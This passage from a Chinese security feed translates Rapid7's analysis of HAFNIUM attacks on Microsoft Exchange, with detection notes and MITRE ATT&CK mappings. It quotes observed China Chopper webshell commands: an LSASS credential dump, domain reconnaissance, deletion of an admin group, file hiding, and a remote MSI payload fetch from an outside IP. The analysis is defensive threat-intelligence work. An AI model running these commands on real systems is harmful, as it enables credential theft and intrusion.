15px;font-family: 等线;color: black;">    如果您是git用户，那么可以克隆</span><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);">Metasploit Framework repo</span><span style="font-size: 15px;font-family: 等线;color: black;">（</span><span style="color: rgb(0, 213, 255);font-size: 14px;"><em><span style="font-family: 等线;"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em></span><span style="font-size: 15px;font-family: 等线;color: black;">）以获取最新版本。</span></section><section style="background: white;text-indent: 0em;text-align: left;"><span style="font-size: 15px;font-family: 等线;color: black;"><br/></span></section><section style="background: white;text-indent: 0em;text-align: left;"><span style="font-size: 15px;font-family: 等线;color: black;">    要在不使用git的情况下安装，可以使用只开放源码的</span><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);">Nightly Installers</span></section><section style="background: white;text-indent: 0em;text-align: left;"><span style="font-size: 15px;font-family: 等线;color: black;">(</span><span style="color: rgb(0, 213, 255);font-size: 14px;"><em><span style="font-family: 等线;"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></span></em></span><span style="font-size: 15px;font-family: 等线;color: black;">)安装程序或</span><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);">binaryinstallers</span><span style="font-size: 15px;font-family: 等线;color: black;">(</span><span style="color: rgb(0, 213, 255);font-size: 14px;"><em><span style="font-family: 等线;"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em></span><span style="font-size: 15px;font-family: 等线;color: black;">)安装程序（也包括商业版）。</span></section><section style="text-align: left;margin-left: 0px;margin-right: 0px;text-indent: 0em;"><br/></section>



<p><a href="https://blog.rapid7.com/2021/03/26/metasploit-wrap-up-104/">阅读原文</a></p>
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      <pubDate>Fri, 02 Apr 2021 10:17:00 +0800</pubDate>
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      <title>微软Exchange漏洞攻击者行为分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484529&amp;idx=1&amp;sn=3e26bbaa968c8a60c5ca29949b76c163</link>
      <description>微软Exchange漏洞攻击者行为分析</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-03-26 16:12</span> <span style="display: inline-block;"></span>
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<p>微软Exchange漏洞攻击者行为分析</p>
<p></p>



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</p>


<p style="text-indent:28px;"><span style="font-size: 15px;">最近几周，想必大家都有听过有关于HAFNIUM组织攻击利用Microsoft’s Exchange Server漏洞的报道。这些漏洞的反响如此广范主要原因之一是因为，它们允许攻击者直接从公共互联网进入到受害者系统，接管受害主机的SYSTEM权限用户并执行操作。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.398876404494382" data-s="300,640" style="" data-type="png" data-w="356" src="https://wechat2rss.xlab.app/img-proxy/?k=f38bfebd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWv4X8Arq0ias60Wianeb1y4myHp7r8P2tiamzWI4HqjVZyuypY4HC79zAZlibDJic07pN10zyHSQ36iakA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-size: 10px;"></span><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">由于此服务在默认情况下以最高级别的权限运行，因此应该对其进行加固并接收其他级别的管控。这种默认配置没有使用最小特权的原则，并且由于创建这些web应用程序的目的是向公共internet公开，并且不受诸如网络访问控制列表之类的其他基本方法的保护，因此会变得更加危险。除此之外，这些易受攻击的服务器还提供内部整个组织大量用户哈希/密码和电子邮件收件箱内容的直接访问途径。这通常也是攻击者在受害者环境中追求的最直接的方法之一。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">虽然公布了一些已被利用的系统报告，为一部分人敲响了警钟，但在信息安全行业中，这种apt事件已经被许多人“盯梢”了多年。不同类型的攻击者都在频繁地寻求利用受害者向公共互联网提供的网络服务。通常，这些服务位于各种边缘设备上，这些设备是专门设计用来放置并向公共internet公开的。这可能会带来许多挑战，因为这些边界业务可能是设备、防火墙或不支持运行额外的安全相关软件(如端点检测和响应)的其他设备。这些设备通常也不属于标准的补丁管理系统。据Rapid7了解，现在从漏洞披露到产生可大规模利用的漏洞工具的速度有所提高，这使得受害者几乎没有时间测试和部署补丁，且受害者也不能随时对提供关键任务服务的系统进行变更控制。</span></p><p style="text-align: center;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.16864608076009502" data-s="300,640" style="width: 448px;height: 76px;" data-type="png" data-w="842" src="https://wechat2rss.xlab.app/img-proxy/?k=32cf3b6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWv4X8Arq0ias60Wianeb1y4m2AZxdTknaowJRWLgpk88EAA1qucHJHbKnmm0rBvEgickMR6RVtUGNGA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-size: 15px;">在过去的几年中，Rapid7观察到一些不同的攻击者试图快速直接访问受害者的系统，以收集密码、执行加密劫持、分发勒索软件和/或窃取数据。攻击者通常会将目标锁定在组织的特定高级成员或员工的邮箱中，研究他们感兴趣且敏感的主题内容上。这些攻击者用来获得受害人信息的最简单的方法是通过远程桌面协议向公共internet提供远程访问服务的系统进行简单的密码喷射攻击。更“机智”的攻击者利则用了像Citrix Netscaler、Progress公司的Telerik和Pulse Secure公司的Pulse Connect Secure等最近出现的漏洞，仅做举例。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5816326530612245" data-s="300,640" style="" data-type="png" data-w="588" src="https://wechat2rss.xlab.app/img-proxy/?k=f2923ce7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWv4X8Arq0ias60Wianeb1y4mIvficUkB4ZGbiaOWfv1kyRjuEkWbqpqpOicGtQj71BW2oyf4W1iaQ8Mm6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-size: 15px;">虽然对于如何进入受害者的网络的方法可能不同，从互联网可访问服务的各种攻击类型到网络钓鱼，同一种攻击方式攻击者可以保持多年内不变。原因是，在受害者的系统内本身存在的缺陷很少有人认真关注，它们一直对攻击者非常有效。继续采用使用操作系统中预先存在的实用程序的“就地生存”技术，使得防病毒或应用程序控制都不太可能捕捉和阻拦攻击者。此外，对于攻击者来说，这还可以释放或减少对开发漏洞利用程序和工具集的技术资源的需求。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">因为攻击者的动作和行为可以长时间维持不变,Rapid7威胁情报和检测工程(TIDE)团队不断与我们的检测和响应管理安全操作中心以及事件响应团队持续合作，以开发和更新我们InsightIDR对攻击者的行为分析,确保所有的客户可及时了解攻击者采用的最新的策略,技术和程序。这使无论攻击者是否利用的是未知漏洞，我们的客户都可以收到有关攻击者行为的警报，并确保他们的业务安全。</span></p><p style="text-indent: 28px;"><span style="font-size: 15px;">最后，非常重要的是不要单纯的以为只有一个攻击者在利用这些新的漏洞。很有可能它是个“多人运动”在同时利用相同的弱点，并伴随有各种不同类型的后续渗透。在没有确凿证据的情况下，宣称它们之间存在联系充其量也只是是一种推测。</span></p><p style="text-indent: 28px;"><span style="font-size: 15px;"><span style="text-indent: 28px;font-size: 10px;color: rgb(233, 95, 38);"><em>Tips</em></span><span style="text-indent: 28px;font-size: 10px;"><em>：</em></span><span style="text-indent: 28px;font-size: 10px;color: rgb(233, 95, 38);"><em>以低权限帐户运行是一种很好的安全做法，因为这样一来，恶意用户就不能利用软件漏洞来接管整个系统。</em></span></span></p><p style="text-indent: 28px;"><span style="font-size: 15px;"><br/></span></p><h2><span style="font-size: 17px;"><strong><span style="color: rgb(233, 95, 38);">HAFNIUM都干了啥</span></strong></span></h2><p style="text-indent:28px;"><span style="font-size: 15px;">过使用我们现有的检测，Rapid7观察到有攻击者使用China Chopper 攻击了9个不同的受害者，其中包括制造业、医疗保健、公用事业提供商等。这种攻击行为与HAFNIUM的行为有很大重叠，Rapid7的Insight Agent从2021年2月27日至2021年3月7日收集的数据中就观察到了这种行为。应该注意的是，攻击者使用客户端通过ChinaChopper 生成过程的方式至少自2013年以来几乎没有改变。这些命令行参数非常明显，在包含命令行参数的日志中很容易找到。这意味着根据这些模式开发的检测有可能有效寿命长达十年以上。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">Base64-decoded parameters z1 and z2：</span></code><code><span class="code-snippet_outer">z1=cmdz2=<span class="code-snippet__built_in">cd</span> /d “c:\inetpub\wwwroot\”&amp;whoami&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="5" data-source-title="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf"><section class="js_blockquote_digest"><p>资料来源：</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E8%B5%84%E6%96%99%E6%9D%A5%E6%BA%90%EF%BC%9A%3C%2Fp%3E%22%2C%22digestLen%22%3A5%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.fireeye.com%2Fcontent%2Fdam%2Ffireeye-www%2Fglobal%2Fen%2Fcurrent-threats%2Fpdfs%2Frpt-china-chopper.pdf%22%7D"><span class="blockquote_other"><a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf" target="_blank">https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf</a></span></section></blockquote><p style="text-indent:28px;"><span style="font-size: 15px;">Rapid7基于此攻击者行为的审查开发了其他检测方法。我们注意到，默认情况下，当为Microsoft Exchange的Outlook Web Access配置IIS时，它有一个环境变量的值将设置为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">APP_POOL_ID</span>=MSExchangeOWAAppPool</span></code></pre></section><p style="text-indent:28px;"><span style="font-size: 15px;">有了这些资料，再通过InsightAgent收集这些数据，并且能够使用InsightIDR的攻击者行为分析对其进行评估，TIDE团队能够编写一个检测模块，在执行任何进程时，只要子进程或父进程的环境变量和值与之匹配，就可以进行匹配告警。这使得我们不仅可以找到已知的China Chopper的用途，还可以找到其他几个攻击者是如何使用不同的技术利用此漏洞的。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">攻击者使用ChinaChopper对lsass.exe进程执行MicrosoftSysinternals实用程序procdump64.exe，将其内存内容复制到磁盘上的文件中。这使攻击者以后可以使用诸如mimikatz之类的实用程序来检索和分析此内存转储，以从此过程的内存转储中提取密码。如果未采用双因素身份验证，则此攻击者有可能在以后的时间内再次使用这些受害者电子邮件帐户中的帐户信息。此外，即使在这些受害者位置实施了合理的密码更改策略，用户也经常会以可预测的方式轮换使用密码。例如，如果用户的密码为“ ThisIsMyPassword1！”，则在被迫更改时，他们可能只会将末尾的数字递增为“ ThisIsMyPassword2！”。这使攻击者可以轻松地根据人类行为的可预测性猜测未来的密码。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">通过Rapid7的观察发现HAFNIUM执行过以下代码：</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">Procudmp.exe程序通过China Chopper webshell执行的命令，用于写入lsass.exe文件进程到磁盘：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\\root&amp;procdump64.exe -accepteula -ma lsass.exe lsass.dmp&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d E:\\logs&amp;procdump64.exe -accepteula -ma lsass.exe lsass.dmp&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><span style="font-size: 15px;">通过China Chopperwebshell执行侦察命令，以收集有关Active Directory域控制器、用户、系统和进程的信息：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d <span class="code-snippet__string">&#34;C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&amp;HOSTNAME&#34;</span> &amp; nltest /dclist:&lt;REDACTED_DOMAIN&gt;&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d <span class="code-snippet__string">&#34;C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&amp;nltest&#34;</span> /dclist:&lt;REDACTED_DOMAIN&gt;&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d <span class="code-snippet__string">&#34;C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&amp;HOSTNAME&#34;</span> &amp; whoami &amp; nltest /dclist:&lt;REDACTED_DOMAIN&gt;&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d c:\\temp&amp;tasklist&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d E:\\logs&amp;tasklist &amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;net group <span class="code-snippet__string">&#34;Domain computers&#34;</span> /<span class="code-snippet__keyword">do</span>&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;tasklist /v&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">进一步列举关于受害者系统中特定进程信息。进程smex_master.exe来自趋势科技的ScanMail, unsecapp.exe来自Microsoft Windows。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;wmic process <span class="code-snippet__built_in">where</span> name=smex_master.exe get ExecutablePath,commandline&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;wmic process <span class="code-snippet__built_in">where</span> name=unsecapp.exe get ExecutablePath&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;wmic process <span class="code-snippet__built_in">where</span> name=unsecapp.exe get processid&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">使用通过ChinaChopper 执行的net.exe命令删除ActiveDirectory中的组：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\\inetpub\\wwwroot\\aspnet_client\\system_web&amp;net group <span class="code-snippet__string">&#34;Exchange Organization administrators&#34;</span> administrator /del /domain&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><span style="font-size: 15px;">通过China Chopper 执行网络连接检查和/或出口IP地址枚举命令：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d <span class="code-snippet__string">&#34;C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&amp;ping&#34;</span> -n 1 &lt;REDACTED_HOSTNAME&gt;&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d <span class="code-snippet__string">&#34;C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&amp;ping&#34;</span> -n 1 &lt;REDACTED_HOSTNAME&gt;&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot&amp;ping -n 1 8.8.8.8&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;c:\windows\temp\curl.exe -m 10 ipinfo.io&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;c:\windows\temp\curl.exe -vv -k -m 10 <a href="https://www.google.com" target="_blank">https://www.google.com</a> &gt; C:\windows\temp\b.log 2&gt;&amp;1&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;ping -n 1 ipinfo.io&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;ping -n 1 www.google.com&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d c:\\temp&amp;ping www.google.com&amp;<span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><br/></p><p style="text-indent:28px;"><span style="font-size: 15px;">通过China Chopper 执行的第二阶段有效载荷检索命令：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:\\inetpub\\wwwroot\\aspnet_client&amp;msiexec /q /i <a href="http://103.212.223.210:9900/nvidia.msi&amp;" target="_blank">http://103.212.223.210:9900/nvidia.msi&amp;</a><span class="code-snippet__built_in">echo</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code></pre></section><p style="text-indent:28px;"><span style="font-size: 15px;">通过China Chopperwebshell执行的文件系统交互命令，用于搜索文件内容、隐藏和删除文件：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">\cmd /c <span class="code-snippet__built_in">cd</span> /d C:\inetpub\wwwroot\aspnet_client\system_web&amp;findstr Request <span class="code-snippet__string">&#34;\\&lt;REDACTED_HOSTNAME&gt;\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ErrorFF.aspx&amp;echo&#34;</span> [S]&amp;<span class="code-snippet__built_in">cd</span>&amp;<span class="code-snippet__built_in">echo</span> [E]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:/inetpub/wwwroot/aspnet_client&amp;attrib +h +s +r OutlookEN.aspx&amp;<span class="code-snippet__built_in">echo</span> [S]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:/inetpub/wwwroot/aspnet_client&amp;attrib +h +s +r TimeoutLogout.aspx&amp;<span class="code-snippet__built_in">echo</span> [S]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:/inetpub/wwwroot/aspnet_client&amp;del <span class="code-snippet__string">&#39;E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookEN.aspx&#39;</span>&amp;<span class="code-snippet__built_in">echo</span> [S]</span></code><code><span class="code-snippet_outer">cmd /c <span class="code-snippet__built_in">cd</span> /d C:/inetpub/wwwroot/aspnet_client&amp;del <span class="code-snippet__string">&#39;E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TimeoutLogout.aspx&#39;</span>&amp;<span class="code-snippet__built_in">echo</span> [S]</span></code></pre></section><p style="text-indent:28px;"><span style="font-size: 15px;">InsightIDR攻击者行为分析可检测此攻击者的活动：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access生成的进程</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-Net命令删除Exchange管理组</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者工具-China Chopper Webshell执行命令</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-针对LSASS使用ProcDump</span></p><p><br/></p><p><br/></p></li></ul><h2><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong>在与HAFNIUM有关的活动中观察到的MITRE
ATT&amp;CK 技术</strong></span></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1003 - 操作系统凭据倾销</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1003/" target="_blank">https://attack.mitre.org/techniques/T1003/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align:left;"><span style="font-size: 15px;">T1003.001 - 操作系统凭据倾销：LSASS 内存</span><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1003/001/" target="_blank">https://attack.mitre.org/techniques/T1003/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1005 - 来自本地系统的数据</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1005/" target="_blank">https://attack.mitre.org/techniques/T1005/</a></em></span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">T1007 - 系统服务发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1007/" target="_blank">https://attack.mitre.org/techniques/T1007/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1033 - 系统所有者/用户发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1033/" target="_blank">https://attack.mitre.org/techniques/T1033/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1041 - 通过 C2 通道进行渗透</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1041/" target="_blank">https://attack.mitre.org/techniques/T1041/</a></em></span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">T1047 - 窗口管理仪器</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1047/" target="_blank">https://attack.mitre.org/techniques/T1047/</a></em></span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">T1057 - 过程发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1057/" target="_blank">https://attack.mitre.org/techniques/T1057/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1059 - 命令和脚本口译员</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1059/" target="_blank">https://attack.mitre.org/techniques/T1059/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align:left;"><span style="font-size: 15px;">T1059.003 - 命令和脚本口译员：视窗命令外壳</span><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1059/003/" target="_blank">https://attack.mitre.org/techniques/T1059/003/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1071 - 应用层协议</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1071/" target="_blank">https://attack.mitre.org/techniques/T1071/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1071.001 - 应用层协议：Web 协议</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1071/001/" target="_blank">https://attack.mitre.org/techniques/T1071/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1074 - 数据分阶段</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1074/" target="_blank">https://attack.mitre.org/techniques/T1074/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align:left;"><span style="font-size: 15px;">T1074.001 - 数据分阶段：本地数据分期</span><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1074/001/" target="_blank">https://attack.mitre.org/techniques/T1074/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1083 - 文件和目录发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1083/" target="_blank">https://attack.mitre.org/techniques/T1083/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1087 - 帐户发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1087/" target="_blank">https://attack.mitre.org/techniques/T1087/</a></em></span></p></li><li style="font-size: 15px;"><p 